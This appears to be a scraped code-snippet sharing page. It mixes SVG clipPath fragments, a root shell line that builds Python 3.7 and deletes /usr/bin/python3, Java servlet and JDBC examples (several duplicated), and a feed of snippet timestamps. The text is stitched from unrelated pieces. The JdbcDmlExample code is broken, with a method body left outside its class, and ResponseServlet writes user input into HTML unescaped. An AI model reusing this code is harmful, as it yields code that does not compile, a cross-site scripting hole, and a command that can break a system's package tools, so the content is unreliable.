  <clipPath id="sixSquare" clipPathUnits="objectBoundingBox"><path d="M0.64,0 H0.36 A0.203,0.203,0,0,0,0.18,0.109 L0.023,0.406 a0.203,0.203,0,0,0,0,0.188 l0.156,0.297 A0.203,0.203,0,0,0,0.36,1 h0.28 a0.204,0.203,0,0,0,0.18,-0.109 l0.156,-0.297 a0.203,0.203,0,0,0,0,-0.188 L0.82,0.109 A0.204,0.203,0,0,0,0.64,0"></path></clipPath>
  </defs>
  <defs>
  <clipPath id="eightSquare" clipPathUnits="objectBoundingBox" transform="scale(0.001666666667,0.001666666667)">
    <path d="M263.299 7.92583C287.133 -1.94624 313.911 -1.94622 337.743 7.92586L481.099 67.305C504.93 77.177 523.868 96.1124 533.741 119.946L593.119 263.299C602.989 287.133 602.989 313.912 593.119 337.747L533.741 481.1C523.868 504.93 504.93 523.868 481.099 533.741L337.743 593.12C313.911 602.989 287.132 602.989 263.299 593.12L119.945 533.741C96.1121 523.868 77.1767 504.93 67.3047 481.1L7.92556 337.743C-1.94654 313.912 -1.94654 287.133 7.92556 263.299L67.3047 119.946C77.1767 96.1124 96.1121 77.177 119.946 67.305L263.299 7.92583Z" fill="black"></path>
  </clipPath>
</defs>
</svg>
sudo su
yum install -y wget gcc openssl-devel bzip2-devel libffi-devel zlib-devel xz-devel ; cd /usr/src; wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tgz ; tar xzf Python-3.7.0.tgz ; cd Python-3.7.0 ; ./configure --enable-optimizations ; make altinstall ; rm -rf /usr/bin/python3 ; ln -s /usr/local/bin/python3.7 /usr/bin/python3 ; python3 -V
uname -a
{!$CustomMetadata.APINameoftheCMDT.APINameoftheSpecificCMDT.APINameoftheField}
import java.io.IOException; 
import java.io.PrintWriter; 
import javax.servlet.ServletConfig; 
import javax.servlet.ServletContext; 
import javax.servlet.ServletException; 
import javax.servlet.annotation.WebServlet; 
import javax.servlet.http.HttpServlet; 
import javax.servlet.http.HttpServletRequest; 
import javax.servlet.http.HttpServletResponse; 
@WebServlet("/ConfigServlet") 
public class ConfigServlet extends HttpServlet { 
private static final long serialVersionUID = 1L; 
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws 
ServletException, IOException { 
// Set the response content type 
response.setContentType("text/html"); 
// Get ServletConfig and ServletContext 
ServletConfig config = getServletConfig(); 
ServletContext context = getServletContext(); 
// Get parameters from ServletConfig 
String servletParam = config.getInitParameter("servletParam"); 
// Get parameters from ServletContext 
String contextParam = context.getInitParameter("contextParam"); 
// Generate the response 
PrintWriter out = response.getWriter(); 
out.println("<html><body>"); 
out.println("<h2>Servlet Config and Context Parameters</h2>"); 
out.println("<p>Servlet Parameter: " + servletParam + "</p>"); 
out.println("<p>Context Parameter: " + contextParam + "</p>"); 
out.println("</body></html>"); 
} 
}
HTML 
<!DOCTYPE html> 
<html lang="en"> 
<head> 
<meta charset="UTF-8"> 
<meta name="viewport" content="width=device-width, initial-scale=1.0"> 
<title>User Form</title> 
</head> 
<body> 
<h1>User Information Form</h1> 
<form action="ResponseServlet" method="POST"> 
<label for="name">Name:</label><br> 
<input type="text" id="name" name="name" required><br> 
<label for="email">Email:</label><br> 
<input type="email" id="email" name="email" required><br> 
<input type="submit" value="Submit"> 
</form> 
</body> 
</html> 
ResponseServlet.java 
import java.io.IOException; 
import java.io.PrintWriter; 
import javax.servlet.ServletException; 
import javax.servlet.annotation.WebServlet; 
import javax.servlet.http.HttpServlet; 
import javax.servlet.http.HttpServletRequest; 
import javax.servlet.http.HttpServletResponse; 
@WebServlet("/ResponseServlet") 
public class ResponseServlet extends HttpServlet { 
private static final long serialVersionUID = 1L; 
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws 
ServletException, IOException { 
// Set the response content type 
response.setContentType("text/html"); 
// Get the parameters from the request 
String name = request.getParameter("name"); 
String email = request.getParameter("email"); 
// Generate the response 
PrintWriter out = response.getWriter(); 
out.println("<html><body>"); 
out.println("<h2>User Information</h2>"); 
out.println("<p>Name: " + name + "</p>"); 
out.println("<p>Email: " + email + "</p>"); 
out.println("</body></html>"); 
} 
}
import java.sql.Connection; 
import java.sql.DriverManager; 
import java.sql.DatabaseMetaData; 
import java.sql.ResultSet; 
import java.sql.SQLException; 
public class DatabaseMetadataExample { 
private static final String URL = "jdbc:mysql://localhost:3306/sampledb"; // Replace with 
your DB URL 
private static final String USERNAME = "your_username"; // Replace with your DB username 
    private static final String PASSWORD = "your_password"; // Replace with your DB password 
 
    public static void main(String[] args) { 
        Connection connection = null; 
 
        try { 
            // Establishing the connection 
            connection = DriverManager.getConnection(URL, USERNAME, PASSWORD); 
            System.out.println("Connected to the database successfully."); 
 
            // Accessing database metadata 
            DatabaseMetaData metaData = connection.getMetaData(); 
 
            // Retrieve and display basic information 
            System.out.println("Database Product Name: " + 
metaData.getDatabaseProductName()); 
            System.out.println("Database Product Version: " + 
metaData.getDatabaseProductVersion()); 
            System.out.println("Driver Name: " + metaData.getDriverName()); 
            System.out.println("Driver Version: " + metaData.getDriverVersion()); 
            System.out.println("SQL Syntax: " + metaData.getSQLKeywords()); 
 
            // Get and display the tables 
            System.out.println("\nTables in the database:"); 
            ResultSet tables = metaData.getTables(null, null, "%", new String[]{"TABLE"}); 
            while (tables.next()) { 
                String tableName = tables.getString("TABLE_NAME"); 
                System.out.println("Table: " + tableName); 
 
                // Get and display columns for each table 
                ResultSet columns = metaData.getColumns(null, null, tableName, null); 
                System.out.println("  Columns in " + tableName + ":"); 
                while (columns.next()) { 
                    String columnName = columns.getString("COLUMN_NAME"); 
                    String columnType = columns.getString("TYPE_NAME"); 
                    int columnSize = columns.getInt("COLUMN_SIZE"); 
                    System.out.printf("    %s (%s, Size: %d)%n", columnName, columnType, 
columnSize); 
                } 
            } 
 
        } catch (SQLException e) { 
            System.err.println("SQL Exception: " + e.getMessage()); 
        } finally { 
            // Closing the connection 
            try { 
                if (connection != null && !connection.isClosed()) { 
                    connection.close(); 
                    System.out.println("Database connection closed."); 
                } 
            } catch (SQLException e) { 
                System.err.println("Failed to close the connection: " + e.getMessage()); 
            } 
} 
} 
}
SQL 
CREATE DATABASE sampledb; 
USE sampledb; 
CREATE TABLE users ( 
id INT AUTO_INCREMENT PRIMARY KEY, 
name VARCHAR(100), 
email VARCHAR(100) 
); 
JAVA 
import java.sql.Connection; 
import java.sql.DriverManager; 
import java.sql.ResultSet; 
import java.sql.SQLException; 
import java.sql.Statement; 
import java.sql.PreparedStatement; 
public class UpdatableScrollableResultSetExample { 
private static final String URL = "jdbc:mysql://localhost:3306/sampledb"; 
private static final String USERNAME = "your_username"; // Replace with your DB username 
private static final String PASSWORD = "your_password"; // Replace with your DB password 
public static void main(String[] args) { 
Connection connection = null; 
try { 
// Establishing the connection 
connection = DriverManager.getConnection(URL, USERNAME, PASSWORD); 
System.out.println("Connected to the database successfully."); 
// Inserting some sample data 
            insertSampleData(connection); 
 
            // Using Updatable and Scrollable ResultSet 
            try (Statement stmt = connection.createStatement( 
                    ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) { 
                 
                String query = "SELECT * FROM users"; 
                ResultSet rs = stmt.executeQuery(query); 
 
                // Moving to the last record 
                if (rs.last()) { 
                    System.out.println("Last Record: ID: " + rs.getInt("id") + ", Name: " + 
rs.getString("name") + ", Email: " + rs.getString("email")); 
                } 
 
                // Moving to the first record 
                if (rs.first()) { 
                    System.out.println("First Record: ID: " + rs.getInt("id") + ", Name: " + 
rs.getString("name") + ", Email: " + rs.getString("email")); 
                } 
 
                // Updating the first record 
                if (rs.first()) { 
                    System.out.println("Updating record..."); 
                    rs.updateString("name", "Updated Name"); 
                    rs.updateRow(); 
                    System.out.println("Record updated."); 
                } 
 
                // Displaying updated records 
                System.out.println("Updated Records:"); 
                rs.beforeFirst(); // Move cursor to before the first record 
                while (rs.next()) { 
                    System.out.println("ID: " + rs.getInt("id") + ", Name: " + 
rs.getString("name") + ", Email: " + rs.getString("email")); 
                } 
 
            } 
 
        } catch (SQLException e) { 
            System.err.println("SQL Exception: " + e.getMessage()); 
        } finally { 
            // Closing the connection 
            try { 
                if (connection != null && !connection.isClosed()) { 
                    connection.close(); 
                    System.out.println("Database connection closed."); 
                } 
            } catch (SQLException e) { 
                System.err.println("Failed to close the connection: " + e.getMessage()); 
            } 
        } 
    } 
// Method to insert sample data into the users table 
private static void insertSampleData(Connection connection) throws SQLException { 
String insertSQL = "INSERT INTO users (name, email) VALUES (?, ?)"; 
try (PreparedStatement pstmt = connection.prepareStatement(insertSQL)) { 
pstmt.setString(1, "John Doe"); 
pstmt.setString(2, "john@example.com"); 
pstmt.executeUpdate(); 
pstmt.setString(1, "Jane Smith"); 
pstmt.setString(2, "jane@example.com"); 
pstmt.executeUpdate(); 
System.out.println("Sample data inserted into users table."); 
} 
} 
}
SQL 
CREATE DATABASE sampledb; 
USE sampledb; 
CREATE TABLE users ( 
id INT AUTO_INCREMENT PRIMARY KEY, 
name VARCHAR(100), 
email VARCHAR(100) 
); 
JAVA 
import java.sql.Connection; 
import java.sql.DriverManager; 
import java.sql.ResultSet; 
import java.sql.SQLException; 
import java.sql.Statement; 
import java.sql.PreparedStatement; 
public class UpdatableScrollableResultSetExample { 
private static final String URL = "jdbc:mysql://localhost:3306/sampledb"; 
private static final String USERNAME = "your_username"; // Replace with your DB username 
private static final String PASSWORD = "your_password"; // Replace with your DB password 
public static void main(String[] args) { 
Connection connection = null; 
try { 
// Establishing the connection 
connection = DriverManager.getConnection(URL, USERNAME, PASSWORD); 
System.out.println("Connected to the database successfully."); 
// Inserting some sample data 
            insertSampleData(connection); 
 
            // Using Updatable and Scrollable ResultSet 
            try (Statement stmt = connection.createStatement( 
                    ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) { 
                 
                String query = "SELECT * FROM users"; 
                ResultSet rs = stmt.executeQuery(query); 
 
                // Moving to the last record 
                if (rs.last()) { 
                    System.out.println("Last Record: ID: " + rs.getInt("id") + ", Name: " + 
rs.getString("name") + ", Email: " + rs.getString("email")); 
                } 
 
                // Moving to the first record 
                if (rs.first()) { 
                    System.out.println("First Record: ID: " + rs.getInt("id") + ", Name: " + 
rs.getString("name") + ", Email: " + rs.getString("email")); 
                } 
 
                // Updating the first record 
                if (rs.first()) { 
                    System.out.println("Updating record..."); 
                    rs.updateString("name", "Updated Name"); 
                    rs.updateRow(); 
                    System.out.println("Record updated."); 
                } 
 
                // Displaying updated records 
                System.out.println("Updated Records:"); 
                rs.beforeFirst(); // Move cursor to before the first record 
                while (rs.next()) { 
                    System.out.println("ID: " + rs.getInt("id") + ", Name: " + 
rs.getString("name") + ", Email: " + rs.getString("email")); 
                } 
 
            } 
 
        } catch (SQLException e) { 
            System.err.println("SQL Exception: " + e.getMessage()); 
        } finally { 
            // Closing the connection 
            try { 
                if (connection != null && !connection.isClosed()) { 
                    connection.close(); 
                    System.out.println("Database connection closed."); 
                } 
            } catch (SQLException e) { 
                System.err.println("Failed to close the connection: " + e.getMessage()); 
            } 
        } 
    } 
// Method to insert sample data into the users table 
private static void insertSampleData(Connection connection) throws SQLException { 
String insertSQL = "INSERT INTO users (name, email) VALUES (?, ?)"; 
try (PreparedStatement pstmt = connection.prepareStatement(insertSQL)) { 
pstmt.setString(1, "John Doe"); 
pstmt.setString(2, "john@example.com"); 
pstmt.executeUpdate(); 
pstmt.setString(1, "Jane Smith"); 
pstmt.setString(2, "jane@example.com"); 
pstmt.executeUpdate(); 
System.out.println("Sample data inserted into users table."); 
} 
} 
}
SQL 
CREATE DATABASE sampledb; 
USE sampledb; 
CREATE TABLE users ( 
id INT AUTO_INCREMENT PRIMARY KEY, 
name VARCHAR(100), 
email VARCHAR(100) 
); 
JAVA 
import java.sql.Connection; 
import java.sql.DriverManager; 
import java.sql.PreparedStatement; 
import java.sql.SQLException; 
import java.sql.CallableStatement; 
import java.sql.ResultSet; 
public class JdbcDmlExample { 
private static final String URL = "jdbc:mysql://localhost:3306/sampledb"; 
private static final String USERNAME = "your_username"; // Replace with your DB username 
private static final String PASSWORD = "your_password"; // Replace with your DB password 
    public static void main(String[] args) { 
        Connection connection = null; 
 
        try { 
            // Establishing the connection 
            connection = DriverManager.getConnection(URL, USERNAME, PASSWORD); 
            System.out.println("Connected to the database successfully."); 
 
            // Inserting data using PreparedStatement 
            insertUser(connection, "Alice Johnson", "alice@example.com"); 
            insertUser(connection, "Bob Smith", "bob@example.com"); 
 
            // Updating data using PreparedStatement 
            updateUserEmail(connection, 1, "alice.new@example.com"); 
 
            // Calling stored procedure using CallableStatement 
            callUserCountProcedure(connection); 
 
        } catch (SQLException e) { 
            System.err.println("SQL Exception: " + e.getMessage()); 
        } finally { 
            // Closing the connection 
            try { 
                if (connection != null && !connection.isClosed()) { 
                    connection.close(); 
                    System.out.println("Database connection closed."); 
} 
} catch (SQLException e) { 
System.err.println("Failed to close the connection: " + e.getMessage()); 
} 
} 
} 
// Method to insert user using PreparedStatement 
private static void insertUser(Connection connection, String name, String email) throws 
SQLException { 
String insertSQL = "INSERT INTO users (name, email) VALUES (?, ?)"; 
try (PreparedStatement pstmt = connection.prepareStatement(insertSQL)) { 
pstmt.setString(1, name); 
pstmt.setString(2, email); 
int rowsAffected = pstmt.executeUpdate(); 
System.out.println(rowsAffected + " user(s) inserted."); 
} 
} 
// Method to update user email using PreparedStatement 
private static void updateUserEmail(Connection connection, int userId, String newEmail) 
throws SQLException { 
String updateSQL = "UPDATE users SET email = ? WHERE id = ?"; 
try (PreparedStatement pstmt = connection.prepareStatement(updateSQL)) { 
pstmt.setString(1, newEmail); 
pstmt.setInt(2, userId); 
int rowsAffected = pstmt.executeUpdate(); 
System.out.println(rowsAffected + " user(s) updated."); 
} 
} 
// Method to call a stored procedure using CallableStatement 
private static void callUserCountProcedure(Connection connection) throws SQLException { 
// Assuming there is a stored procedure named `GetUserCount` that returns the count of 
users 
} 
} 
String procedureCall = "{ CALL GetUserCount() }"; 
try (CallableStatement cstmt = connection.prepareCall(procedureCall)) { 
try (ResultSet rs = cstmt.executeQuery()) { 
if (rs.next()) { 
int userCount = rs.getInt(1); 
System.out.println("Total users: " + userCount); 
} 
} 
}
SQL 
CREATE DATABASE sampledb; 
USE sampledb; 
CREATE TABLE users ( 
id INT AUTO_INCREMENT PRIMARY KEY, 
name VARCHAR(100), 
email VARCHAR(100) 
); 
JAVA 
import java.sql.Connection; 
import java.sql.DriverManager; 
import java.sql.PreparedStatement; 
import java.sql.ResultSet; 
import java.sql.SQLException; 
public class DatabaseExample { 
// Database URL, username and password 
private static final String URL = "jdbc:mysql://localhost:3306/sampledb"; 
private static final String USERNAME = "your_username"; // Replace with your DB username 
private static final String PASSWORD = "your_password"; // Replace with your DB password 
public static void main(String[] args) { 
Connection connection = null; 
try { 
// Establishing the connection 
connection = DriverManager.getConnection(URL, USERNAME, PASSWORD); 
System.out.println("Connected to the database successfully."); 
// Inserting data into the users table 
String insertSQL = "INSERT INTO users (name, email) VALUES (?, ?)"; 
try (PreparedStatement pstmt = connection.prepareStatement(insertSQL)) { 
pstmt.setString(1, "John Doe"); 
pstmt.setString(2, "john@example.com"); 
pstmt.executeUpdate(); 
System.out.println("Data inserted successfully."); 
} 
// Querying the data 
String selectSQL = "SELECT * FROM users"; 
            try (PreparedStatement pstmt = connection.prepareStatement(selectSQL); 
                 ResultSet rs = pstmt.executeQuery()) { 
                System.out.println("User List:"); 
                while (rs.next()) { 
                    int id = rs.getInt("id"); 
                    String name = rs.getString("name"); 
                    String email = rs.getString("email"); 
                    System.out.println("ID: " + id + ", Name: " + name + ", Email: " + email); 
                } 
            } 
 
        } catch (SQLException e) { 
            System.err.println("SQL Exception: " + e.getMessage()); 
        } finally { 
            // Closing the connection 
            try { 
                if (connection != null && !connection.isClosed()) { 
                    connection.close(); 
                    System.out.println("Database connection closed."); 
                } 
            } catch (SQLException e) { 
                System.err.println("Failed to close the connection: " + e.getMessage()); 
            } 
        } 
    } 
}
star

Sun Nov 24 2024 15:27:26 GMT+0000 (Coordinated Universal Time) https://appledora.hashnode.dev/outreach-bw3?source

@SamiraYS

star

Sun Nov 24 2024 14:53:12 GMT+0000 (Coordinated Universal Time) https://pastecode.io/

@censored #c#

star

Sun Nov 24 2024 14:43:48 GMT+0000 (Coordinated Universal Time) https://pastecode.io/

@censored #c#

star

Sun Nov 24 2024 14:43:16 GMT+0000 (Coordinated Universal Time) https://pastecode.io/

@censored

star

Sun Nov 24 2024 13:02:32 GMT+0000 (Coordinated Universal Time) https://www.w3schools.com/cpp/trycpp.asp?filename

@mohmmed #undefined

star

Sun Nov 24 2024 12:50:34 GMT+0000 (Coordinated Universal Time) https://www.w3schools.com/cpp/trycpp.asp?filename

@mohmmed

star

Sun Nov 24 2024 11:48:34 GMT+0000 (Coordinated Universal Time)

@seb_prjcts_be

star

Sun Nov 24 2024 09:09:24 GMT+0000 (Coordinated Universal Time) https://learn.javascript.ru/object-methods

@kseniya #javascript

star

Sun Nov 24 2024 08:53:27 GMT+0000 (Coordinated Universal Time) https://www.vitalrep.com/

@Unknown

star

Sun Nov 24 2024 08:44:11 GMT+0000 (Coordinated Universal Time) https://evisatraveller.mfa.ir/fa/login/

@asadullah #html

star

Sun Nov 24 2024 08:43:47 GMT+0000 (Coordinated Universal Time) https://evisatraveller.mfa.ir/fa/login/

@asadullah

star

Sun Nov 24 2024 07:43:54 GMT+0000 (Coordinated Universal Time) https://evisatraveller.mfa.ir/fa/login/

@asadullah #html

star

Sun Nov 24 2024 07:42:46 GMT+0000 (Coordinated Universal Time) https://evisatraveller.mfa.ir/fa/login/

@asadullah #html

star

Sun Nov 24 2024 07:39:30 GMT+0000 (Coordinated Universal Time) https://evisatraveller.mfa.ir/fa/login/

@asadullah #html

star

Sat Nov 23 2024 20:34:41 GMT+0000 (Coordinated Universal Time) https://smukov.github.io/blog/2018/06/09/Record-Type-Id-By-Developer-Name/

@redflashcode

star

Sat Nov 23 2024 20:34:36 GMT+0000 (Coordinated Universal Time) https://smukov.github.io/blog/2018/06/09/Record-Type-Id-By-Developer-Name/

@redflashcode

star

Sat Nov 23 2024 19:43:23 GMT+0000 (Coordinated Universal Time)

@E23CSEU1151

star

Sat Nov 23 2024 17:36:20 GMT+0000 (Coordinated Universal Time)

@marcopinero #html #javascript #cordova

star

Sat Nov 23 2024 14:14:49 GMT+0000 (Coordinated Universal Time)

@rstringa

star

Sat Nov 23 2024 14:12:48 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/sql/online-compiler/

@ashwin_07 #undefined

star

Sat Nov 23 2024 06:41:41 GMT+0000 (Coordinated Universal Time)

@E23CSEU1151

star

Fri Nov 22 2024 19:55:37 GMT+0000 (Coordinated Universal Time) https://leetcode.com/problems/merge-sorted-array/description/

@prashant

star

Fri Nov 22 2024 19:05:51 GMT+0000 (Coordinated Universal Time)

@E23CSEU1151

star

Fri Nov 22 2024 16:31:47 GMT+0000 (Coordinated Universal Time)

@radwan

star

Fri Nov 22 2024 16:08:29 GMT+0000 (Coordinated Universal Time)

@javalab

star

Fri Nov 22 2024 15:44:51 GMT+0000 (Coordinated Universal Time)

@javalab

star

Fri Nov 22 2024 13:52:39 GMT+0000 (Coordinated Universal Time)

@thanuj

star

Fri Nov 22 2024 13:33:38 GMT+0000 (Coordinated Universal Time) https://appticz.com/bybit-clone

@aditi_sharma_

star

Fri Nov 22 2024 13:27:24 GMT+0000 (Coordinated Universal Time) https://github.com/LondheShubham153/Wanderlust-Mega-Project.git

@AliIqbal

star

Fri Nov 22 2024 12:53:59 GMT+0000 (Coordinated Universal Time)

@Narendra

star

Fri Nov 22 2024 12:53:25 GMT+0000 (Coordinated Universal Time)

@Narendra

star

Fri Nov 22 2024 12:11:05 GMT+0000 (Coordinated Universal Time) https://medium.com/@spiegeltech/how-to-start-a-p2p-crypto-exchange-like-paxful-66d4efdea7c2

@spiegeltechn #php #html #nodejs

star

Fri Nov 22 2024 11:41:06 GMT+0000 (Coordinated Universal Time)

@Narendra

star

Fri Nov 22 2024 11:33:17 GMT+0000 (Coordinated Universal Time) https://practice.geeksforgeeks.org/problems/check-whether-k-th-bit-is-set-or-not-1587115620/1

@Narendra

star

Fri Nov 22 2024 11:29:02 GMT+0000 (Coordinated Universal Time) https://bit.ly/3Eo8JVW

@Narendra

star

Fri Nov 22 2024 10:23:35 GMT+0000 (Coordinated Universal Time)

@razcleaning

star

Fri Nov 22 2024 09:09:53 GMT+0000 (Coordinated Universal Time) https://www.thomas-krenn.com/de/wiki/Dummy_Dateien_unter_Windows_erstellen

@2late #cmd

star

Fri Nov 22 2024 07:19:39 GMT+0000 (Coordinated Universal Time)

@thanuj

star

Fri Nov 22 2024 04:10:18 GMT+0000 (Coordinated Universal Time)

@sem

star

Fri Nov 22 2024 04:09:36 GMT+0000 (Coordinated Universal Time)

@sem

star

Fri Nov 22 2024 03:37:43 GMT+0000 (Coordinated Universal Time)

@mamba

star

Thu Nov 21 2024 22:59:29 GMT+0000 (Coordinated Universal Time) https://gist.github.com/wpupru/deda1cd96ea242d9a790e50cd0c97e9f

@need4steve

star

Thu Nov 21 2024 19:48:17 GMT+0000 (Coordinated Universal Time) https://salesforcetime.com/2024/04/06/using-custom-metadata-types-in-flow-without-get/

@dannygelf #flow #salesforce #cmdt

star

Thu Nov 21 2024 18:09:48 GMT+0000 (Coordinated Universal Time)

@coding1

star

Thu Nov 21 2024 18:09:08 GMT+0000 (Coordinated Universal Time)

@coding1

star

Thu Nov 21 2024 18:08:17 GMT+0000 (Coordinated Universal Time)

@coding1

star

Thu Nov 21 2024 18:07:19 GMT+0000 (Coordinated Universal Time)

@coding1

star

Thu Nov 21 2024 18:07:19 GMT+0000 (Coordinated Universal Time)

@coding1

star

Thu Nov 21 2024 18:06:29 GMT+0000 (Coordinated Universal Time)

@coding1

star

Thu Nov 21 2024 18:05:11 GMT+0000 (Coordinated Universal Time)

@coding1

Save snippets that work with our extensions

Available in the Chrome Web Store Get Firefox Add-on Get VS Code extension